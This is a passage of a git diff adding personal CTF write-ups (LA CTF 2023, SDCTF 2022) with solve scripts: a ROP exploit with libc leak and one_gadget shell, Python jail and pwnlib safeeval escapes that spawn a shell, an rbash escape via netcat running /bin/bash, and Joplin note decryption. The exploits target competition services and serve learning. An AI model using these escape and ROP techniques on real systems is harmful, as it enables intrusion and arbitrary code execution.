+15), (19, 5), (8, 11), (19, 11), (0, 10), (11, 10), (13, 7), (10, 8), (0, 13), (2, 16), (15, 10), (7, 9), (7, 6), (16, 18), (12, 5), (4, 4), (4, 16), (4, 19), (19, 1), (17, 16), (19, 7), (9, 12), (11, 12), (0, 12), (13, 6), (7, 2), (18, 2), (13, 15), (15, 12)}), frozenset({(8, 0), (5, 13), (0, 2), (19, 3), (10, 0), (9, 8), (2, 2), (9, 17), (0, 8), (11, 8), (10, 15), (7, 4), (7, 1), (16, 10), (15, 14), (6, 8), (15, 17), (18, 13), (12, 3), (3, 6), (17, 11), (4, 17), (9, 7), (5, 12), (0, 4), (11, 13), (0, 19), (15, 13), (16, 6), (18, 12), (6, 10), (16, 18), (12, 11), (7, 18), (17, 4), (3, 11), (3, 14), (4, 19), (0, 3), (17, 19), (13, 0), (5, 17), (2, 3), (11, 18), (9, 18), (15, 6), (1, 13), (1, 10), (0, 18), (16, 17)}), frozenset({(4, 6), (4, 12), (9, 2), (3, 10), (17, 6), (17, 12), (11, 2), (9, 8), (9, 14), (10, 3), (9, 17), (17, 18), (2, 11), (0, 11), (15, 8), (12, 6), (4, 5), (3, 6), (3, 12), (19, 11), (9, 10), (19, 14), (8, 17), (15, 4), (11, 13), (2, 10), (10, 17), (1, 14), (16, 6), (15, 10), (6, 13), (15, 19), (6, 16), (16,
+18), (12, 5), (3, 2), (17, 4), (4, 16), (17, 1), (3, 8), (3, 17), (8, 7), (1, 1), (9, 12), (11, 9), (19, 10), (2, 0), (2, 6), (7, 11), (15, 18)}), frozenset({(4, 0), (12, 7), (3, 4), (14, 7), (19, 0), (19, 6), (4, 15), (3, 19), (10, 0), (14, 19), (9, 14), (13, 11), (18, 1), (1, 15), (12, 3), (14,
+6), (4, 5), (4, 14), (3, 12), (19, 2), (9, 1), (11, 1), (8, 14), (19, 14), (2, 7), (0, 13), (0, 19), (11, 19), (1, 14), (13, 16), (13, 13), (16, 12), (15, 19), (6, 19), (5, 2), (3, 8), (5, 5), (19, 4), (8, 4), (3, 14), (19, 7), (19, 10), (1, 4), (8, 13), (16, 2), (13, 6), (7, 2), (0, 18), (6, 3),
+(16, 11)}), frozenset({(7, 17), (9, 5), (0, 2), (10, 0), (14, 13), (9, 14), (13, 2), (9, 11), (19, 18), (8, 18), (16, 4), (1, 9), (16, 7), (13, 8), (15, 11), (1, 18), (2, 17), (13, 17), (15, 14), (7, 13), (4, 2), (12, 15), (4, 11), (19, 11), (17, 17), (11, 10), (19, 17), (8, 17), (1, 11), (11, 13), (0, 19), (13, 16), (6, 7), (6, 13), (16, 18), (7, 18), (17, 4), (19, 4), (4, 13), (4, 19), (14, 17), (10, 4), (13, 3), (15, 6), (9, 18), (2, 6), (2, 15), (16, 14), (7, 11), (7, 8)}), frozenset({(6, 18), (7, 17), (14, 4), (7, 5), (14, 1), (5, 16), (10, 6), (0, 17), (10, 15), (16, 7), (13, 14), (6, 5), (16, 13), (18, 19), (14, 6), (4, 14), (17, 5), (8, 2), (8, 5), (5, 18), (5, 12), (19, 8), (11, 7), (13, 4), (0, 16), (13, 10), (15, 7), (18, 0), (16, 6), (16, 12), (15, 10), (6, 13), (16, 15), (15, 19), (16, 18), (14, 2), (12, 11), (9, 0), (17, 7), (19, 7), (17, 13), (0, 9), (5, 17), (15, 0), (2, 6), (16, 5), (1, 10), (18, 5), (16, 17), (7, 14)}), frozenset({(12, 7), (3, 1), (12, 19), (3, 10), (9, 5), (8, 3), (10, 0), (3, 19), (17, 6), (9, 14), (5, 19), (10, 3), (17, 18), (11, 14), (2, 11), (2, 8), (15, 11), (16, 16), (6, 14), (3, 0), (3, 3), (5, 6), (17, 5), (3, 12), (4, 17), (8, 8), (0, 7), (2, 4), (9, 16), (13, 1), (1, 11), (2, 10), (6, 4), (18, 3), (6, 16), (7, 15), (7, 18), (4, 10), (5, 5), (4, 13), (3, 17), (0, 9), (5, 17), (9, 15), (8, 19), (1, 7), (16, 5), (7, 2), (6, 6), (13, 15)})]
+
+snakenodes = snek2([
+ (0, 0)])
+direction = (1, 0)
+snakelength = 0
+gamestate = snek2([])
+fruitseaten = []
+
+
+while True:
+ #print board
+ snek11 = ''
+ for snek12 in range(bound):
+ snek13 = ''
+ for snek14 in range(bound):
+ if (snek12, snek14) in snakenodes:
+ snek13 += '#'
+ continue
+ if (snek12, snek14) in data[snakelength]:
+ snek13 += 'o'
+ continue
+ snek13 += '.'
+ snek11 += snek13 + '\n'
+ print(snek11, flush=True)
+
+ if len(gamestate) > 0:
+ curr = gamestate.popleft()
+ if isinstance(curr, int) or curr.isdigit():
+ curr = int(curr)
+ curr -= 1
+ if curr > 0:
+ gamestate.appendleft(curr)
+ snakehead = snakenodes[0]
+ currloc = (snakehead[0] + direction[0], snakehead[1] + direction[1])
+ if currloc[0] < 0 and currloc[0] >= bound and currloc[1] < 0 or currloc[1] >= bound:
+ print('snek dead :(')
+ break
+ snakenodes.appendleft(currloc)
+ if currloc in data[snakelength]: #has fruit?
+ snakelength += 1
+ fruitseaten.append(currloc)
+ if snakelength == len(data): #snake has grown to len 10
+ snek18 = 0
+ for x, y in fruitseaten: #the pos of the 10 fruits weve eaten
+ snek18 ^= 1337
+ snek18 *= bound ** 2
+ snek18 += x * bound + y
+ if final == snek18:
+ print('snek happy :D')
+ print(open('flag.txt', 'r').read().strip())
+ break
+ print('snek sad :(')
+ break
+ snakenodes.pop()
+ elif curr == 'L':
+ direction = (-direction[1], direction[0])
+ elif curr == 'R':
+ direction = (direction[1], -direction[0])
+ else:
+ print('snek confused :(')
+ break
+ time.sleep(0.1)
+ else:
+ gamestate.extend(input('snek? ').strip().split())
+ continue
+```
+
+which is now about as easy to understand as it gets for a rev chall:
+
+ - its a box standard snake game
+
+ - we move by specifying direction (`L` for counterclockwise, `R` for clockwise), and the amount of steps in that direction
+
+ - can specify infinite steps in a single input if needed
+
+ - we need to eat 10 fruits in total
+
+ - we need to eat the fruits in the order determined by `final`
+
+after brainfarting for actually way too long thinking i need to either z3 or bruteforce this and to no avail, i realized its literally trivially decomposable since its just storing data in chunks of `20^2`
+
+and i brainfarted *even more* by not realizing i was iterating in the wrong order so the positions i got was not matching up with the location of the fruits specified in `data`
+
+which made me so confused to the point where i was doubting my math skills yet again :upside_down:
+
+anyways with
+```py
+pos = []
+for i in range(10):
+ #in reversed order
+ if i: #the last one should not be xored
+ final ^= 1337
+ val = final % (20 ** 2)
+ y, x = (val // 20, val % 20)
+ pos.append((x, y))
+ if (y,x) not in data[9-i]:
+ print(x, y, 'off') #should not happen
+
+ final //= (20 ** 2)
+
+for p in pos[::-1]:
+ print(*p)
+```
+
+we can finally get the list of fruit coords we gotta eat in order to trigger the "special" ending that prints the flag
+
+```text
+x y
+0 11
+3 0
+18 8
+18 14
+11 17
+12 3
+10 19
+7 16
+15 16
+5 16
+```
+and since at this point i dont trust myself in coding anything anymore i just solved it ~~painfully~~ by hand routing the path and playing
+
+which yields us `9 L 1 R 2 R 1 R 8 R 3 L 3 R 8 R 7 L 1 R 3 L 6 L 2 R 1 R 6 R 1 7 L 3 1 L 2 L 6 R 2 L 9 L 3 2 L 16 R 3 R 3 R 4 L 1 R 4 R 1 1 R 8 R 1 L 3`
+
+and running it on remote finally yields us the flag after a lot of board printing:
+`lactf{h4h4_sn3k_g0_brrrrrrrr}`
+
+
+### pycjail
+
+ngl this one is just finding That One Trick:tm: in the cpython impl lmao
+
+that being said i havent really looked into the opcode implementations for cpython so it ended up taking a bit of time and trial and error still
+
+still feels easier than snek tho idk why this has so much less solves than that
+
+* * *
+
+since we are writing python instructions by hand i first tried a few normal things to get the hang of writing the bytecode
+
+like the args for each opcode and all that
+
+while trying that i got an idea tho and that is to invoke an exception which in a lot of higher level languages provide quite a bit of debug detail which is usually crucial to leaking info or getting data to nudge with
+
+like python tracebacks has frame info embedded in `tb_frame` which grants us access to globals and locals and all that
+
+while trying to set up try except frames i realized `RAISE_VARARGS` performing reraise (8200) is probably the easiest way to trigger an exception with the least amount of code
+
+and after looking a bit on how to set up try except frames in bytecode plugging in `7a01 8200 5300` really did return us something pretty useful: `<class 'RuntimeError'>`
+
+but thats probably not it, so to make it easy to check the stack i packed the last 3 vals on the interpreter stack into a tuple before returning with `7a01 8200 6603 5300`, and aha: `(<traceback object at 0x7f4b4f2c3340>, RuntimeError('No active exception to reraise'), <class 'RuntimeError'>)`
+
+since our goal is to somehow load attributes reading through some instructions thats not banned (all `LOAD`/`STORE`/`DELETE` are basically banned aside from `LOAD_CONSTS`), i locked onto the `MATCH_CLASS` method, which is recently added in 3.10, exactly the version the remote is running:
+
+> TOS is a tuple of keyword attribute names, TOS1 is the class being matched against, and TOS2 is the match subject. count is the number of positional sub-patterns.
+>
+> Pop TOS. If TOS2 is an instance of TOS1 and has the positional and keyword attributes required by count and TOS, set TOS to True and TOS1 to a tuple of extracted attributes. Otherwise, set TOS to False.
+>
+> *New in version 3.10.*
+
+
+which means it accepts a class and then an object to check for an attribute, and return that on success (along with a `True`/`False` indicator)
+
+wwwaaaaiiittt doesnt that fit exactly what we have on the stack after generating the exception? that means we can get arbitrary attributes from the exception class eyo
+
+and indeed that it does - with some nudging, we can get the following:
+```text
+consts: __setattr__
+names:
+code: 7a01 8200 6400 6601 9800 6603 5300
+here goes!
+(<traceback object at 0x7ff5c9d42c40>, (<method-wrapper '__setattr__' of RuntimeError object at 0x7ff5c9cdd080>,), True)
+```
+
+but now the problem comes - we can get anything from RuntimeError, and even set attributes on the object by duplicating them on the stack so we can refer to it after it gets consumed by `MATCH_CLASS`, but thats about as far as we can go since we cant really chain attribute gets:
+
+ - its not possible to obtain the class object of the attribute itself without getting the `__class__` attribute first which is a circular dependency,
+
+ - and we cant really obtain any useful objects to store into setattr outside of those reachable by calling the exception attributes or directly accessing them either anyways, which from all the exception classes i can invoke none provide any useful attributes i can use
+
+ - all methods we obtain are from the object not the class, and therefore bound to it so we cant just obtain a generic getattr for any objects (e.g. invoke `RuntimeError`'s `__getattribute__` on the traceback object) - see how it says `<method-wrapper>` not `<slot wrapper>`, ~~which itself is bound to all `BaseException` objects only so we cant apply it to most things anyway~~
+
+so after a lot of coping (why did it have to look so promising man :sob:) its time to go back to the drawing board
+
+ive always thought the way that they hardcoded `IMPORT_NAME` and not all the `IMPORT_.*` opcodes to be kinda suspicious, so i looked into that right after
+
+i first tried `IMPORT_STAR` and seeing if i can get it to load attributes from objects that arent modules, and it actually kinda worked, with the object popped and no errors - except it doesnt load it into the stack, and we cant do `LOAD_FAST` coz thats banned (and we cant write values to `co_varnames` anyway)
+
+so its time to check `IMPORT_FROM` - it seems like this one performs much more module related checks, but after quite a while of digging into the rabbit hole of functions that this opcode uses (and even had to debug cpython to figure out why it wasnt returning what i was expecting and opcodes dont give good error messages 90% of the time), i realized:
+
+ - `IMPORT_FROM` can actually import arbitrary modules as long as you fake a `__name__` in the object, which we can do by obtaining `__setattr__` through the `MATCH_CLASS` trick and then setting `__name__` to an arbitrary string we can load from `LOAD_CONST` (its the only data type we can enter into co_consts, which was surpringly helpful)
+
+ - however, it has to be already loaded before (aka in `sys.modules`), or else it fails (this is presumably due to the interpreter expecting `IMPORT_NAME` to be called before `IMPORT_FROM` like it normally does)
+
+ - the module name also has to be in the form of `<pkgname>.<name>` - theres no way to remove that dot since it is hardcoded regardless of whether you have an empty string or not
+
+and with the following (jail conformant, but for illustration purpose its in an interactive console instead) code we can verify that the above deductions are correct:
+```pycon
+>>> f.__code__ = f.__code__.replace(co_code=bytes.fromhex('7a01 8200 0500 6400 6601 9800 0100 5c01 6401 6402 8302 6602 0100 6d00 5300'), co_consts=('__setattr__', '__name__', 'importlib'), co_names=('util',))
+>>> import dis; dis.dis(f.__code__)
+ 1 0 SETUP_FINALLY 1 (to 4)
+ 2 RAISE_VARARGS 0
+ >> 4 DUP_TOP_TWO
+ 6 LOAD_CONST 0 ('__setattr__')
+ 8 BUILD_TUPLE 1
+ 10 MATCH_CLASS 0
+ 12 POP_TOP
+ 14 UNPACK_SEQUENCE 1
+ 16 LOAD_CONST 1 ('__name__')
+ 18 LOAD_CONST 2 ('importlib')
+ 20 CALL_FUNCTION 2
+ 22 BUILD_TUPLE 2
+ 24 POP_TOP
+ 26 IMPORT_FROM 0 (util)
+ 28 RETURN_VALUE
+>>> f()
+<module 'importlib.util' from '/usr/lib/python3.10/importlib/util.py'>
+```
+
+unfortunately having a module object really doesnt do us much good since the good ol "no getattr and no LOAD_FAST" strikes again
+
+and we can already import module from plain ol objects arbitrarily so theres no point in getting a real module especially when we cant import actually useful ones like `sys`
+
+but this got me very confused since im definitely sure `from x import y` can import non module things too so i must be missing something
+
+and missing something i definitely did :facepalm::
+```c
+ if (_PyObject_LookupAttr(v, name, &x) != 0) {
+ return x;
+ }
+```
+this is literally the first thing in the handler which checks if the attribute exists in the object and instantly returns it if so *without checking anything module related*
+
+which means its literally a `getattr` in disguise lmao i didnt have to find such a convoluted way to load a module when i can just chain attributes
+
+~~which is honestly sad coz this payload is pretty cool ngl~~
+
+from here on out its just a normal pyjail with some length restrictions which isnt a problem since we can easily RCE with `#!py traceback.tb_frame.f_builtins['exec']('breakpoint()')` (exec needed since breakpoint doesnt behave well on a broken stack like this apparently)
+
+but yea with this we get the flag lmao
+```pycon
+consts: exec,breakpoint()
+names: tb_frame,f_builtins
+code: 7a01 8200 6602 0100 6d00 6d01 6400 1900 6401 8301 5300
+here goes!
+--Return--
+> <string>(1)<module>()->None
+(Pdb) import os; os.system('sh')
+ls
+flag.txt
+run
+cat flag.txt
+flag{maybe_i_should_only_allow_nops_next_time}
+```
+hey at least i learnt quite a bit on how i can trick cpython to do things i want to if i have access to durect bytecode
+
+also it turns out setting `__code__` can break cpython in quite a lot of ways lmao with everything from `free(): invalid pointer` to `Segmentation fault` if you get a funny interpreter stack going
+
+the easiest one is to just exhaust the stack so that TOS doesnt even exist anymore
+
+i wonder if its possible to do some cpython pwning with that actually :thinking:
+
+~~also kinda sus that the flag aint `lactf` prefixed~~
+
+
+
+### a hacker's notes
+
+a few of my teammates were working on getting the disk image decrypted and extracting data out of it while i was working on pycjail, but then i got fed up with it and took a break to look at other ppls progress
+
+thats where i see ppl talking about joplin and i was like eyo joplin?? fancy seeing a niche software i use and have tinkered with in a ctf
+
+ppl saw weird flag like strings in the db through `strings` but couldnt find where it is at, so i just opened it in sqlite explorer and looked through until i see it in `notes_fts_segdir`
+
+im pretty sure thats unintended since its a part of the full text search mechanism (and its all in lower case compared to the actual flag we get later on anyway)
+
+so i just looked for another route while my teammates are working on figuring out how the words match up to a flag
+
+i remember a class that handled all encryption stuff in joplin which was pretty nice to use back when i tinkered with the src so i tried looking for it
+
+and yep `EncryptionService` is right there and we can instantiate separate instances to add master keys and all that to decrypt stuff since we have both the encrypted string in the `encrypted_notes` dir and also the master key and master password in the `settings` table in the db
+
+i was gonna run it on my actual joplin instance but i figured thats probably not the best idea lmao i dont wanna screw up my own notes sync
+
+so i just spun up a portable instance and just threw the code into it
+
+and ey flag ez `lactf{S3cUr3_yOUR_C4cH3D_3nCRYP71On_P422woRD2}`
+
+```js
+enc = new EncryptionService()
+enc.loadMasterKey( {
+ "checksum": "",
+ "encryption_method": 4,
+ "content": "{\"iv\":\"Aq6h2XDGTIilysXiqtqmFg==\",\"v\":1,\"iter\":10000,\"ks\":256,\"ts\":64,\"mode\":\"ccm\",\"adata\":\"\",\"cipher\":\"aes\",\"salt\":\"MTCPTTh43BY=\",\"ct\":\"KAkXmATvGZesYHzTFHB/Jpbo7XuFqoMBqbXNQ558UzH5XpLrUkl1ikb/uV8rvr4tKGDrZ6qNHDGdb6sB1uJnAIB1f+UhQGF5sQ0hLbP6ipAKndxl/VhJ/R4u8oL2eek/wPD9Tw2nRu0WtVtR3tLjrk8GFc6TlIE9nQDdTCXosrZwo2Upl1R2T1SDHuOJfZy75TNvhO4lZg+a/+IwVgsY2fXaSbup45RzOd60VtKYsK+/mJLlQXGeyv+6QV30DXq/mVuEaJ/9jMQqCZ1ZXBYWmKWtBHTXwa0NTjlcUuucH0eSpxo+TvtDu9ILnnZhwNdBpeyZD5+fczz6Uv6d39HI9Sih3onXwZKIO5RACDY8TwAA7LLfZvJyPoVk0hm1s04HouN/RbjLijyL0WEjO89lDJqlcBZXAzHj0c045iUn0VsWhr4JbbVgcKC90QsLWxswb+OVcSghdJg4TOQEbXjFMGi/tXnTIdwNpewHK88gwtz7PeAT2u1pyXCqPRsn0xt9vhGpaQqrhshPg8z8QVvygpqrRVC8nGZAU7q8bGlaFpuKE7LemTCMh8CxESHwGsBqb7MESlk61eeS67MDa7RxVuvNVtwqzJGB06EAlcF6CznlLm88GToqgHk3/4sstSqw4ueN9GFqlzWstZ5X1BTMm2y+7KdFIKo98YyBgibJaBGFKtkq7k4Z7g==\"}",
+ "created_time": 1673831472785,
+ "updated_time": 1673831562612,
+ "source_application": "net.cozic.joplin-cli",
+ "hasBeenUsed": true,
+ "id": "7fc1b793673943df83c6d6ef86241625"
+ }, 'n72ROU9BqbjVOlXKH5Ju', true)
+enc.decryptString('JED01000022057fc1b793673943df83c6d6ef86241625000520{"iv":"Vy4yg7+5mqATH17czoKr6g==","v":1,"iter":101,"ks":128,"ts":64,"mode":"ccm","adata":"","cipher":"aes","salt":"t+kHfSSLUOk=","ct":"Kp5ujJtjn56bCUJIiN/RXa7uYCjxtvvRzwhOfMLzt4hrRh+KeVMPgFbBXX9sfLLhVwgfXBQi74ws/NyM5aWB0k9BHbwzt5tCiO59JKTirGYxoRrTtmxeh3Q1Rl0nshAcZobtWMJVAZPId4NtMp6SrkRxpDnd5yU2eD4PkSu4ns/aIDoAUINap9LG3grlBOWuRUWvthtODWlKIVmFXiWxBFiPb7sAYLRHU4hnopTCX+nBubyboe4V3xOvied6D3s5c4/Mj2x1065QlG3+o5xn2XtBLsFEKgvO2ZB61PacAGsf3/QxjqTB2T8Aj0iXa05mr10MXwPiQc4vJqA+8acqqc1pLqxjjC5ahVr45hKxDlN7knlYQJILbW73MWVLwySJ15Y/7BTPdrcbh0eFT/UDMKXDU5wCmtREVA3t1/M6mUWmqCzxZlktkQ116MgInsjKEJMHYwtBOZuBL15bxECUXS8BG/eiqPLcxnwEqmw1J3qaRj43eH9ihkJLNhNkchMhUPQID/GPR6/KGTio6hr50a3VWlMcMqX0IOOvMTVwkgpRGM2SKNf3WI3BTPjIXx/CEUCjeRunqI2wqbTAKv540HZlWrpZi/G5rdhEyVIJ6EfuMru2EpABttE92CUVkp6beavIgRsNV4Zw4QG6R3ctphPa2UmtR+S+n7PODrz7dWGukzZfW5hNt6ZS22FhK1BhRepRyL7Rc+jTHP4+72X6CuOp+LPdf5oztsz98VHs04iVfuzx2uvPfKwcFNn7Opfqwk5ZD498+ExkJ9E2fWp+5he21+3FpmKnPsQDmkoKCHr9G0zuJMPdpMzcPFic7XjsPNZQTHRhWtPT2zMuajYFzJ7oonFMNMubqoAGiNu/9VKVHO2J8qnmeufxNjTPiT5v+zcsZf+lmIrc8W3OBkSCxUqh5YkGnn9n5VHgfH4goEK+nw3wAko8lYRiNXFZADAuP16wmfJzHc8+P3hV4Xc+mBAhbuKZNM2vmksMdGYEar68zW9cIbcKkbfv/yyP1ly0gNS06tH00IR4JpqAPJ2vpBePLSejpHWG1Yt/kOCWlT/3XYMwLjAawrGz9SxYIPLwHXtywKn0wcbMwx9WiHm4xI36RHVH+kMfbizYvuBbyosfG4xDMUFm5kbG5aTrWpNRRRODZ5qwGVYrGip3k7fJnr8="}')
+```
+
+### redact
+
+spotted the out of bounds access pretty early while messing around with unmatching text and placeholder lengths which allows us to directly buffer overflow since no canary
+
+but that only gives us ret overwrite at 0x48 and theres nothing in the binary that can give us ez RCE
+
+and theres also no obvious leaks that we can use in the code either since we cant make a c++ string that is shorter than what is printed
+
+so it means we probably have to ret for a leak and then go back to main again to do the actual RCE
+
+so i tried looking for something that can do the equivalent of `printf` without all the c++ fluff and preferrably just straight up jumpable without much setup for me but alas pwn never is this straightforward
+
+so crafting rop it is i guess
+
+after finding the cout that actually works with a c string and a disgusting chain that was actually pretty straightforward to write we finally get a leak and a return to main that didnt crash
+
+somehow the "enter some text" prompt gets skipped as an empty string tho but that doesnt matter coz i was using empty strings for text anyway
+
+anyway with `one_gadget` it was more straightforward to get a shell than to leak the libc lmao
+
+but yea after a brief scare due to connection issues theres the flag `lactf{1_l0v3_c++_L2zuBdqJABGU}`
+
+```py
+from pwn import *
+
+context.binary = ELF('/mnt/d/Downloads/lactf2023/redact')
+
+#check rop gadgets
+r = ROP(context.binary)
+
+#set up libc for the process
+#p = process(['./ld-2.31.so', '--preload', './libc-2.31.so ./usr/lib/x86_64-linux-gnu/libstdc++.so.6 ./lib/x86_64-linux-gnu/libgcc_s.so.1', './redact'])
+#p = process('LD_PRELOAD="./libc-2.31.so ./usr/lib/x86_64-linux-gnu/libstdc++.so.6 ./lib/x86_64-linux-gnu/libgcc_s.so.1" ./redact', shell=True)
+p = remote('lac.tf', 31281)
+
+p.sendlineafter('Enter some text: ', b'') #has to be <=8 to avoid getting allocated to the heap
+
+#pop rdi; <stdout stream loc>; pop rsi, pop r15; <__libc_start_main .got>; pad; cout << rsi; main
+p.sendlineafter('Enter a placeholder: ', b'A'*0x48 + p64(r.rdi.address) + p64(0x4040C0) + p64(r.rsi.address) + p64(0x403fe8) + b'A'*8 + p64(0x4010C0) + p64(0x401202))
+
+p.sendlineafter('Enter the index of the stuff to redact: ', b'0')
+
+#drop \n too with [1:]
+libc_addr = int.from_bytes(p.recvuntil(b'Enter some text: ', drop=True)[1:], byteorder='little') - 0x23C20
+print('libc:', hex(libc_addr))
+
+# #for some reason the text is skipped on second try
+
+#pop r12, pop rbp; 0; pad; pop r13, pop rbp; 0; pad; one_gadget
+p.sendlineafter('Enter a placeholder: ', b'A'*0x48 + p64(r.r12.address) + b'\0'*16 + p64(r.r13.address) + b'\0'*16 + p64(libc_addr + 0xc961a))
+
+p.sendafter('Enter the index of the stuff to redact: ', b'0')
+
+p.interactive()
+```
+
+this chall made me realize when i give up on pwn challs its mostly coz i dont wanna do all the work setting up the env not that i dont know what to do lmao
+
+like this chall is honestly pretty straightforward yet im still annoyed by the fact that i gotta do non trivial setup
+
+i honestly should do more pwn to train up speed tbh pwn is really fun anyway
\ No newline at end of file
diff --git a/ctfs/comments/sdctf22.md b/ctfs/comments/sdctf22.md
index e4547ee..62e467c 100644
--- a/ctfs/comments/sdctf22.md
+++ b/ctfs/comments/sdctf22.md
@@ -1,214 +1,214 @@
### symcalcpy
only calculator symbols aka no words
aside from first word that the calc pushes onto the interactive console - which must be alphabets
interactive console can retrieve values using `_` - sth i learnt while watching jason use it for radare and binja lol coz i never use interactive console
all thats left is to find a way to unwrap dicts into lists which the * list unpacking operator works excellently
```py
globals #get globals as _
_1=_ #persist
_2=_1()[[*_1()][2]] #builtins
_3=_2[[*_2][14]] #chr
_4=_2[[*_2][20]] #exec
_4(_3(105)+_3(109)+_3(112)+_3(111)+_3(114)+_3(116)+_3(32)+_3(111)+_3(115)+_3(59)+_3(32)+_3(111)+_3(115)+_3(46)+_3(115)+_3(121)+_3(115)+_3(116)+_3(101)+_3(109)+_3(40)+_3(39)+_3(115)+_3(104)+_3(39)+_3(41)) #exec('import os; os.system(\'sh\')')
```
although turns out octal escapes in python is also numbers `\011` for example which i couldve used instead of chr
and also `breakpoint()` exists lmao which i can then invoke `interact` and get a unrestricted shell with that
-```
+```pycon
First answer a question:
What is your favorite word? breakpoint
<built-in function breakpoint>
Happy calculating! And don't even try to hack!
> _()
> --Return--
> > <console>(1)<module>()->None
> (Pdb) interact
> *interactive*
> >>> import os; os.system('ls');
> flag.txt
> symcalc.py
> 0
> >>>
```
### bit flipping machine
input must be upper case chars, no length limit
characters are processed in pairs in the for loop, independently
so why not just map out what the arithmetic is doing in the loop thats the only part that matters (aka not c++ string manipulation stuff lol)
after translating to python and mapping from AA-ZZ, i eventually realized its selecting an index and selecting a bit mask to xor with
```py
#use this to get the map of what bit each pair of character flips
for v15 in upper:
for v16 in upper:
index = (v16 - 65 + 26 * (v15 - 65)) // 8
sc = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:]
print(chr(v15), chr(v16), index, (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8)))
#print(chr(v15), chr(v16), sc)
```
which performs exactly the bit flipping said in the chall desc lol
well then all thats left is to map which bits to flip and thats it for the first part
second part is figuring out that the loop reads null terminator while the length check reads c++ string length integer instead so theres a mismatch if we send them null bytes before hitting a line feed which makes the second part solvable
(below is for second part but first part can be mapped in the same way)
```py
#get a comparison for checking the bits to flip
print([c + " " + bin(ord(c)) for c in '1000 USD'])
print([c + " " + bin(ord(c)) for c in '9999 BTC'])
#s = 'rm -rf /trash/'
s = 'Send Mallory 1000 USD'
#t = 'CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ'
t = 'EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL'
#length check - must be multiple of 4
print(len(t) & 3)
#perform flipping after manually determining which bit to flip on which char using the map
for i in range(0, len(t), 2):
v15 = ord(t[i])
v16 = ord(t[i+1])
index = (v16 - 65 + 26 * (v15 - 65)) // 8
s = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:]
#print(bin(ord(s[13]))) #for debugging which bit we flipped wrong
print(s) #check final result
```
then just send the string obtained lol
```py
from pwn import *
p = remote('flip.sdc.tf', '1337')
p.sendline('CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ')
p.recvuntil('9999 BTC')
p.sendline('EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL\0\0') #for loop loops until null terminator, but c++ length checks whole string until \n which finishes getline
p.interactive()
```
(this is easily doable automatically but i was aiming for first blood so i manually did them all lol)
### flag hoarder
open core, see program argument is `/home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt`
extract part of elf using `info proc mapping` -> `dump memory core.bin, 0x555555554000, 0x55555555FFF` (0x555555556000 is unreadable)
decompile whatevers decompilable, realize its opening files in argument and xoring something and pretty much not doing anything else
strings core file for `password`, see the very secret password, assume its the password we need and xor it according to guessing from decompilation
get bamboozled by the line feed and wonder why bz2 is dying until i opened the dump in hex editor and saw the 0A right after the password
add it and tada
solve script:
```py
import bz2
pw = b'this is my very secret password mwahahaha\n'
with open('enc', 'rb') as enc:
e = bytearray(enc.read(-1))
for i in range(len(e)):
e[i] ^= pw[i % len(pw)]
print(bz2.BZ2Decompressor().decompress(e, max_length=len(e)-10))
```
### turing complete safeeval
pwnlib safeeval checks opcode, which means i gotta learn pyc bytecodes
was testing what makefunction and loadfunction does, since thats the only thing they added for this chall to an otherwise proven fortified implementation
then i realized lambda can smuggle data
```py
import dis
c = compile("lambda x: ().__classes__.__subclasses__()", '<string>', 'eval')
#thus we can break safeeval jail using this since lambda smuggles code
#(lambda: ().__class__.__base__.__subclasses__()[132].__init__.__globals__["system"]("sh"))()
print(dis.Bytecode(c))
print(dis.dis(c))
```
originally assigned lambda then called it, but that triggers `LOAD_NAME` which aint allowed
but we can call it directly after defining
whew flag
### rbash warmup
since rbash only restricts command use, doesnt restrict arguments, use netcat to exec bash
local nc needed since host cannot communicate with outside services at all
so make 2 ncs and background both then foreground the listener to interact with bash
```sh
nc -v -l -n 127.0.0.1 -p 1337 &
nc 127.0.0.1 1337 -c /bin/bash &
fg 1
```
### internprise encryption
i translated it to z3 script without realizing its unicode based and unicode is variable length lol so `rb` wouldnt work
once [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) pointed that out to [@kever](https://maplebacon.org/authors/vEvergarden/) i solved it with z3 after dealing with extra signed bits
hey first z3 solve i guess
```py
from z3 import *
s = []
sol = Solver()
with open('flag.txt', 'r', encoding='utf-8') as enc:
ef = enc.read()
for i in range(len(ef)):
s += [BitVec('c' + str(i), 8)]
x = SRem((s[i] + i * 0xf), 0x80)
#print(simplify(x))
x += SRem(BitVecVal(ord(ef[i - 0x1]), 8), 128) if i > 0x0 else 0xd
#print(simplify(x))
x = SignExt(4, x) ^ 0x555
#print(simplify(x))
x = ((x ^ ~0x0)) & 0xff
#print(simplify(x))
x = ~(Extract(8, 0, x ^ 0x3))
#print(simplify(BV2Int(x, is_signed=True)))
x = ((x >> 0x1f) + x) ^ (x >> 0x1f)
#print(simplify(BV2Int(x, is_signed=True)))
#ef += [Extract(9, 0, x)]
sol.add(x == ord(ef[i]))
print(sol.check())
print(sol.unsat_core())
model = sol.model()
#print([simplify(BV2Int(x, is_signed=True)) for x in ef])
print('wtf' + str(model))
print("".join([chr(model[var].as_long() & 0b01111111) for var in s]))
```
\ No newline at end of file
diff --git a/ctfs/lactf23.yml b/ctfs/lactf23.yml
new file mode 100644
index 0000000..2aba8d2
--- /dev/null
+++ b/ctfs/lactf23.yml
@@ -0,0 +1,46 @@
+#refer to hkcert21.yml for definitions
+name: "LA CTF 2023"
+url: https://ctftime.org/event/1732
+
+date: 2023-02-10
+duration: 42
+
+type: "Jeopardy"
+
+organizer: false
+rank: 7
+full-clear: false
+
+team: "Maple Bacon"
+
+challenges:
+ - name: "universal"
+ category: rev
+ points: 352
+ solve-count: 210
+ solve-status: solved
+ writeup-url: null
+ - name: "snek"
+ category: rev
+ points: 487
+ solve-count: 26
+ solve-status: solved
+ writeup-url: null
+ - name: "pycjail"
+ category: jail
+ points: 495
+ solve-count: 10
+ solve-status: solved
+ writeup-url: null
+ - name: "a hacker's notes"
+ category: forensics
+ points: 478
+ solve-count: 43
+ solve-status: co-solved
+ writeup-url: null
+ - name: "redact"
+ category: pwn
+ points: 476
